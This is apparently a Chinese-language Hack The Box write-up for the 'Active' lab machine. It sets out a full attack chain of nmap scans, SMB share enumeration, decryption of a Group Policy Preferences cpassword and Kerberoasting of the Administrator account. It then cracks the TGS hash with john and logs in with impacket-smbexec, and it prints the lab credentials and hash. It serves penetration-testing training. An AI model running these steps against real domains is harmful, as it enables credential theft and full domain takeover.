目錄

連接至HTB服務器并啟動靶機

信息收集

使用rustscan對靶機TCP端口進行開放掃描

將靶機TCP開放端口號提取并保存

使用nmap對靶機TCP開放端口進行腳本、服務掃描

使用nmap對靶機TCP開放端口進行漏洞、系統掃描

使用nmap對靶機常用UDP端口進行開放掃描

使用nmap對靶機UDP開放端口進行腳本、服務掃描

使用smbmap枚舉靶機SMB服務共享

繼續使用smbmap對Replication共享進行遞歸枚舉

邊界突破

使用gpp-decrypt解密上述Cpassword密碼

使用netexec通過上述憑證可枚舉靶機域內用戶

使用impacket-GetUserSPNs提取靶機域內SPN關連賬戶

使用john通過字典爆破該TGS票據

使用impacket-smbexec通過上述憑證登錄靶機

---

連接至HTB服務器并啟動靶機

分配IP：10.10.16.22

靶機IP：10.10.10.100

靶機Domain：active.htb

---

信息收集

使用rustscan對靶機TCP端口進行開放掃描

rustscan -a active.htb -r 1-65535 --ulimit 5000 | tee res

將靶機TCP開放端口號提取并保存

ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root?kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49167
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?
┌──(root?kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)???????????????????????????? ?
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?
┌──(root?kali)-[/home/kali/Desktop/temp]
└─# echo $ports???????????????????????????????????????????????????????????????????? ?
53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49167

使用nmap對靶機TCP開放端口進行腳本、服務掃描

nmap -sT -p$ports -sCV -Pn active.htb

• 需要重點關注的服務和信息

53端口：Domain服務

88端口：Kerberos服務

389端口：LDAP服務

445端口：SMB服務

Domain：active.htb

使用nmap對靶機TCP開放端口進行漏洞、系統掃描

nmap -sT -p$ports --script=vuln -O -Pn active.htb

使用nmap對靶機常用UDP端口進行開放掃描

nmap -sU --top-ports 20 -Pn active.htb

使用nmap對靶機UDP開放端口進行腳本、服務掃描

nmap -sU -p53,123 -sCV -Pn active.htb

使用smbmap枚舉靶機SMB服務共享

smbmap -H active.htb

繼續使用smbmap對Replication共享進行遞歸枚舉

smbmap -H active.htb -r Replication --depth 10

• 將Groups.xml文件下載到攻擊機本地

smbmap -H active.htb -r Replication --depth 10 --download Replication//active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

• 查看該文件內容

cat 10.10.10.100-Replication_active.htb_Policies_{31B2F340-016D-11D2-945F-00C04FB984F9}_MACHINE_Preferences_Groups_Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

• 審計該文件內容

Name：active.htb\SVC_TGS

Cpassword：edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

• 由于該文件所在路徑存在字樣：Policies(策略)、Groups(組)，因此我首先考慮Windows組策略加密

---

邊界突破

使用gpp-decrypt解密上述Cpassword密碼

gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

┌──(root?kali)-[/home/kali/Desktop/temp]
└─# gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
GPPstillStandingStrong2k18

• 由此獲得完整憑證

賬戶：SVC_TGS

密碼：GPPstillStandingStrong2k18

使用netexec通過上述憑證可枚舉靶機域內用戶

netexec smb active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --users

• 由此證明該憑證可用

使用impacket-GetUserSPNs提取靶機域內SPN關連賬戶

• 首先使用ntpdate與靶機域控制器時間同步

ntpdate active.htb

• 使用impacket-GetUserSPNs直接請求與SPN關聯賬戶TGS票據

• 將該TGS票據內容存入文件

echo '$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$5eb2a4781b6945ef9ab744f712190930$f2cc7458fb68d043eefabd6db760f9639839d111c712d9ffe4b7e0b011c314865c7ae68a43de4ec7c84da9969594a231188f90cf14410e7a76b2f1c34c738f099de87d233dc9feb21b8bb21b851e3c1cc9496c042a6cf4723ee4c3b3cd5e66ca36cfe89a526bbd9a6cfe94b0860d68c9314520a24d52a4eacecca3d6cd98e11bd4fb0a0a09ec309b9318f931077d5c5a80a4446b4ae005bb902d478737655e0689038db6cdd9920d65e1fd40713ba122701ca2542bf926a28f8e603e1a09690f7de76e0e8323363a16601ccf3babb94cc93ed375dec3c33c2c0fefa5832b886e6a65318b605d7f77e3945382928cf28e7622e5b128528d8332cfc78afe10b1350d93b02e48b31bfbd0cad6d4c2c0a8174eaeb5b9512dbf29b35a2eb7c335da6be6344816d4963aa0c86f70e61af664166b711cd24cf98ad92c89d39f04a7c1aa875d5f6eb551d63f30ec613d68be3a7e1fb037633ad4c60389c9e334970117c0370ce4aa3b7e0fa550b478c65e6805e21101991daa20c2e2b3f6cf8e8e631c5deb02f4d7f6f075ab326a82674f1877207d6ced05463aea1e4b1504673dddb0704a3e67de3fc25238034fd3127252f7e70f3391703a52f967df72608349b5927ff5f6e62267a5e5fd34a28c0f5f5b59576b32748be857317ed93c909c10459c1d0d74b67301516a6a4f393ed7f22fa89041eba38c438d50b064c1dfec8c1323b2af3390f3169c9e6a9fa1d9dad275f95993f6cac99208e9235cf288dc302cdab0d8f925d84cdc16cc57fefb75a91fa305961ef809ff1f240408da6f1d3a871d296235a1e95629d74c071211ed9a3d8a99d3feb82bea214f5ad245ec48aabb11737b9e24ac32549af8ea5c4bf200fecc838dd4e4adf0e4cf38e16b858eb9b9745edc94693c2c7a7ac4f55634bcdf1a56bb9cdb0179e50768b0e1a4efd4c62b7f0331145a64a7666abc3e165f41d5111856a0e9722d07bc85ab14d3e135bf3d22a49eb73103cdff6f630994ff858319fb4836d076bc07a37beedac6714923504ebd0c15382a3e3f281c37a8793e52ebd0133273b0c5ca99f330d377eb336c384d9ce80072c81ec16920af62cbd0bd9c573071287e6e273a21fe684df9e59775c8d20df37fd2aec038a3d8a7b609f96a66f612f19db51949b4db500b6cbbfc7651583c2e6503e806d1e2e611deee2c493f12edb281241758353601951e2a22f2d34eaed8918e126b8420528398894333f8ef074c8f35b495c2160b6c' > hash

使用john通過字典爆破該TGS票據

john hash --wordlist=../dictionary/rockyou.txt --format=krb5tgs

賬戶：Administrator

密碼：Ticketmaster1968

使用impacket-smbexec通過上述憑證登錄靶機

impacket-smbexec active.htb/Administrator:Ticketmaster1968@active.htb